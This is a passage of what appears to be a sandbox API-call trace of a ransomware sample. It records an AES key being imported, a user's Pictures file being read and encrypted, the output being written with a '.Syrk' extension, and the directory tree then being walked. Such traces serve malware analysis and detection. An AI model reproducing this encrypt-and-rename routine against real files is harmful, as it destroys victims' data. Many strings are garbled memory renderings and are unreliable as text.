(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0251.691] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.691] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0251.691] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.691] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0251.691] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0251.691] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.691] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0251.691] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.692] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0251.692] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0251.692] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.692] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0251.692] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.692] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0251.692] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0251.692] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.692] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0251.692] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.692] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0251.693] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0251.693] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.693] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0251.693] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.693] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0251.693] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0251.693] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.693] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0251.693] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0251.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0251.694] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.694] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0251.694] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0251.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0251.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0251.695] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0251.695] SystemFunction041 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.695] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0251.695] SystemFunction040 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.696] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0251.696] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0251.696] SystemFunction041 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.696] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0251.696] SystemFunction040 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.696] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0251.697] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0251.697] SystemFunction041 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.697] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0251.697] SystemFunction040 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.697] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0251.697] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0251.697] SystemFunction041 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.697] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0251.697] SystemFunction040 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.697] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0251.698] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0251.698] SystemFunction041 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.698] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0251.698] SystemFunction040 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.698] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0251.698] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0251.698] SystemFunction041 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.698] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0251.698] SystemFunction040 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.698] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0251.699] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0251.699] SystemFunction041 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.699] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0251.699] SystemFunction040 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.699] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0251.699] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0251.699] SystemFunction041 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.699] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0251.699] SystemFunction040 (in: Memory=0x3af49c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af49c) returned 0x0 [0251.699] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0251.700] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0251.700] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0251.700] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0251.700] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0251.701] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0251.701] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0251.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0251.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0251.701] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0251.701] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0251.701] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0251.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0251.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0251.701] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0251.702] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0251.702] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0251.702] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0251.702] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0251.702] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0251.702] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0251.702] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0251.702] EtwEventActivityIdControl () returned 0x0 [0251.703] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0251.703] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0251.703] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0251.703] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0251.705] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cdd0) returned 1 [0251.708] CryptImportKey (in: hProv=0x5c4cdd0, pbData=0x23eb808*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99960) returned 1 [0251.709] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0251.709] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.709] EtwEventActivityIdControl () returned 0x0 [0251.709] EtwEventActivityIdControl () returned 0x0 [0251.710] EtwEventActivityIdControl () returned 0x0 [0251.718] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\kwi_spi1.png")) returned 0x20 [0251.719] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\kwi_spi1.png")) returned 0x20 [0251.719] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0251.719] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", lpFilePart=0x0) returned 0x28 [0251.720] EtwEventActivityIdControl () returned 0x0 [0251.720] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.721] EtwEventActivityIdControl () returned 0x0 [0251.721] EtwEventActivityIdControl () returned 0x0 [0251.721] EtwEventActivityIdControl () returned 0x0 [0251.723] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0251.723] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", lpFilePart=0x0) returned 0x28 [0251.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0251.724] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\kwi_spi1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0251.724] GetFileType (hFile=0x3c4) returned 0x1 [0251.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0251.724] GetFileType (hFile=0x3c4) returned 0x1 [0251.724] EtwEventActivityIdControl () returned 0x0 [0251.725] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.725] EtwEventActivityIdControl () returned 0x0 [0251.725] EtwEventActivityIdControl () returned 0x0 [0251.725] EtwEventActivityIdControl () returned 0x0 [0251.778] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0251.778] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png.Syrk", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png.Syrk", lpFilePart=0x0) returned 0x2d [0251.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0251.779] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\kwi_spi1.png.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0251.780] GetFileType (hFile=0x454) returned 0x1 [0251.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0251.780] GetFileType (hFile=0x454) returned 0x1 [0251.780] EtwEventActivityIdControl () returned 0x0 [0251.780] CryptGenRandom (in: hProv=0x5c4cdd0, dwLen=0x10, pbBuffer=0x23fb614 | out: pbBuffer=0x23fb614) returned 1 [0251.782] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0251.782] CryptDuplicateKey (in: hKey=0x5c99960, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99a20) returned 1 [0251.782] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0251.782] CryptSetKeyParam (hKey=0x5c99a20, dwParam=0x4, pbData=0x23fc940*=0x1, dwFlags=0x0) returned 1 [0251.782] CryptSetKeyParam (hKey=0x5c99a20, dwParam=0x1, pbData=0x23fc90c, dwFlags=0x0) returned 1 [0251.782] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.783] EtwEventActivityIdControl () returned 0x0 [0251.783] EtwEventActivityIdControl () returned 0x0 [0251.783] EtwEventActivityIdControl () returned 0x0 [0251.785] EtwEventActivityIdControl () returned 0x0 [0251.785] ReadFile (in: hFile=0x3c4, lpBuffer=0x23ff588, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23ff588*, lpNumberOfBytesRead=0x5a2e7d8*=0x93ac, lpOverlapped=0x0) returned 1 [0251.787] CryptEncrypt (in: hKey=0x5c99a20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24135a0*, pdwDataLen=0x5a2e7cc*=0x93a0, dwBufLen=0x93a0 | out: pbData=0x24135a0*, pdwDataLen=0x5a2e7cc*=0x93a0) returned 1 [0251.788] WriteFile (in: hFile=0x454, lpBuffer=0x23fb6f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23fb6f0*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0251.790] WriteFile (in: hFile=0x454, lpBuffer=0x241458c*, nNumberOfBytesToWrite=0x83b4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x241458c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x83b4, lpOverlapped=0x0) returned 1 [0251.791] ReadFile (in: hFile=0x3c4, lpBuffer=0x23ff588, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23ff588*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0251.791] CryptEncrypt (in: hKey=0x5c99a20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x241c94c*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x241c94c*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0251.791] CryptEncrypt (in: hKey=0x5c99a20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x241c968*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x241c968*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0251.792] WriteFile (in: hFile=0x454, lpBuffer=0x23fb6f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23fb6f0*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0251.792] CloseHandle (hObject=0x454) returned 1 [0251.794] CloseHandle (hObject=0x3c4) returned 1 [0251.795] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.795] EtwEventActivityIdControl () returned 0x0 [0251.795] EtwEventActivityIdControl () returned 0x0 [0251.795] EtwEventActivityIdControl () returned 0x0 [0251.802] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\kwi_spi1.png")) returned 0x20 [0251.807] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0251.807] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", lpFilePart=0x0) returned 0x28 [0251.807] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0251.808] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0251.808] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0251.808] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0251.808] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0251.808] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0251.808] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0251.808] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0251.808] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0251.809] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0251.809] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0251.809] GetFullPathNameW 